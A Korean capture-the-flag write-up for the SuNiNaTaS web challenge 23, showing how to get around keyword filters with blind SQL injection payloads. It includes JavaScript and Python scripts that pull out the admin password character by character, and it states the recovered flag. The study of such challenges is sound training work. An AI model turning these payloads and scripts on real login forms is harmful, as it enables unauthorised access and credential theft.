본문 바로가기

해킹-보안

SuNiNaTaS WEB 23번 풀이 - Hard Blind Sql Injection

반응형



필터링 문자를 우회하여 admin 계정의 비밀번호를 알아내야 한다.
테스트 계정으로 guest/guest가 존재하며 비밀번호 컬럼 명은 pw이다.


로그인 반응


로그인 실패 - False
로그인 성공 - OK admin 혹은 OK guest
필터링 탐지 - No hack


필터링 우회


"admin"을 필터링하므로 문자열 연결 연산자(+)로 우회한다.

먼저 guest 계정을 이용해 연결 연산자가 제대로 동작하는지 확인한다.


guest 계정으로 로그인되는 것을 확인했으며 동일한 방법으로 admin 계정의 로그인 여부를 확인한다.


문자열 연결 연산자로 로그인 우회 가능 여부를 확인했으므로 admin 계정의 비밀번호 길이를 확인한다.

 ad'+'min' and len(pw)=1--
 -- ... 중략
 ad'+'min' and len(pw)=12--
비밀번호 길이는 12 자리로 확인된다. 
비밀번호를 알아내기 위해 문자열 자르기 함수를 이용할 것이며 "substring"은 필터링되므로 
대체함수인 left, right를 이용한다.


예시
 left( "12345", 2 ) = 12  -- 좌측 문자열을 두 개 가져온다.
 right( "12345", 2  ) = 45 -- 우측 문자열을 두 개 가져온다.
 left(right( "12345",2 ),1 ) =  45 -> 4  -- 우측 두 개의 문자열에서 조회된 첫 번째 문자를 가져온다.
 left(right( "12345",3 ),1 ) =  345 -> 3  -- 우측 세 개의 문자열에서 조회된 첫 번째 문자를 가져온다.

로그인 시 아이디 입력 길이가 30자로 제한되므로 ad'+'min' 대신 짧은 길이의 'or을 이용한다. 

or로 인해 로그인 테이블에 존재하는 계정을 모두 불러오므로 비밀번호를 알아낼 때 guest와 admin 계정의 

비밀번호가 함께 출력될 것이다.이 점을 감안하여 자동화 스크립트 작성 시 admin 계정의 비밀번호만 획득하도록 코딩한다. 



비밀번호 확인

 'or Left(right(pw,1),1)='a'--
 'or Left(right(pw,1),1)='b'--
 -- ... 중략
 'or Left(right(pw,12),1)='a'--


자동화 스크립트


자바스크립트
 // Javascript ES8 - 개발자도구 콘솔에서 실행한다.
 (async () => { 
     const string = 'abcdefghijklnmopqrstuvwxyz0123456789'; 
     let flag = ''; 
     for (j=0; j<13; j++) { 
       for (i of string) { 
         let url = `http://suninatas.com/challenge/web23/web23.asp?id='or right(left(pw,${j}),1)='${i}'--&pw=1` 
         await fetch(url).then(x=>x.text()).then(x=>{ 
             if (/ok.+admin/gi.test(x)) { flag += i; console.log('find: '+i); } 
         }); 
       } 
     } 
     console.log("password : " + flag);
 })()
Python
 # python 3.8
 import urllib.request
 import urllib.parse
 
 # password 길이
 password_len = 12
 
 real_pw = ''
 
 # 비밀번호 획득
 for j in range(password_len,0, -1):
         for i in range(32,127):
                 url = "http://suninatas.com/challenge/web23/web23.asp?id="
                 inject = "'or Left(right(pw," + str(j) + "),1)='" + chr(i) + "'--"
                 
                 url = url + urllib.parse.quote(inject) + "&pw=1"
                 req = urllib.request.Request(url)
                 f = urllib.request.urlopen(req)
                 resp = f.read().decode("utf-8")
 
                 if resp.find("<font size=4 color=blue>admin") != -1:
                     print ("find: " + chr(i) )
                     real_pw += chr(i)
                     break
 
 print ("real_password: " + real_pw )
password : v3ryhardsqli


반응형